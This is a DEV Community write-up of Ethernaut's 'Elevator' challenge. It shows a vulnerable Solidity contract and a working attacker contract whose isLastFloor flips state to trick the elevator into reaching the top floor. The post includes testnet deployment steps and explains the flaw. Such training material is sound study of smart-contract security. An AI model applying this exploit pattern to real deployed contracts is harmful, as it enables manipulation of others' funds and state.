DEV Community

Cover image for Elevator - Level 11
Stefan Alfbo
Stefan Alfbo

Posted on

Elevator - Level 11

Problem statement

This elevator won't let you reach the top of your building. Right?

Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window. This address will be used later.

await contract.address
Enter fullscreen mode Exit fullscreen mode

With this information we can continue to next step. Open a new tab in your browser (Ctrl+t) and go to Remix.

In the file explorer, create a new file and name it MyMaliciousBuilding.sol.

The following code should be added as a the MyMaliciousBuilding contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

interface Elevator {
    function goTo(uint) external;
}

contract MyMaliciousBuilding {
    address public elevator;
    bool public state;

    constructor(address _address) {
        elevator = _address;
        state = true;
    }

    function isLastFloor(uint) external returns (bool) {
        state = !state;

        return state;
    }

    function attack() public {
        Elevator(elevator).goTo(1337);
    }
}
Enter fullscreen mode Exit fullscreen mode

Go to the compiler and compile the MyMaliciousBuilding contract. When the contract has been compiled without any errors it's possible to deploy it to the Sepolia network. This is done in the DEPLOY & RUN TRANSACTIONS view in Remix. Make sure to use the environment, Injected Provider - MetaMask. It's also important that we give the contract the address to the contract we are attacking, from the first step.

deploy step

When everything is in order, click the button Deploy and sign the transaction with your wallet.

Next step is to click on the button attack for the newly deployed contract.

attack button

Once again sign the transaction with your wallet. Then jump back to web page where we created the new instance of the Elevator contract. In the console window verify that the contract has updated its state accordingly.

await contract.top() // should be true
await contract.floor() // should be 1337
Enter fullscreen mode Exit fullscreen mode

If the outcome looks fine, then finish the challenge by clicking the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

As always we can never trust that the contract we are calling, in this case MyMaliciousBuilding, will behave.

The interface will not give any guarantees on how the function, isLastFloor, will be implemented.

In this case we know that the Elevator contract will be calling it twice.

if (! building.isLastFloor(_floor)) {
  floor = _floor;
  top = building.isLastFloor(floor);
}
Enter fullscreen mode Exit fullscreen mode

Therefore we can add some state to the MyMaliciousBuilding contract so that the isLastFloor function will return, false, the first time and on the second call it will return, true.

function isLastFloor(uint) external returns (bool) {
    state = !state; // Flip the state...

    return state;
}
Enter fullscreen mode Exit fullscreen mode

Lastly, the feedback from the author of the challenge.

Message from author

Resources

Top comments (0)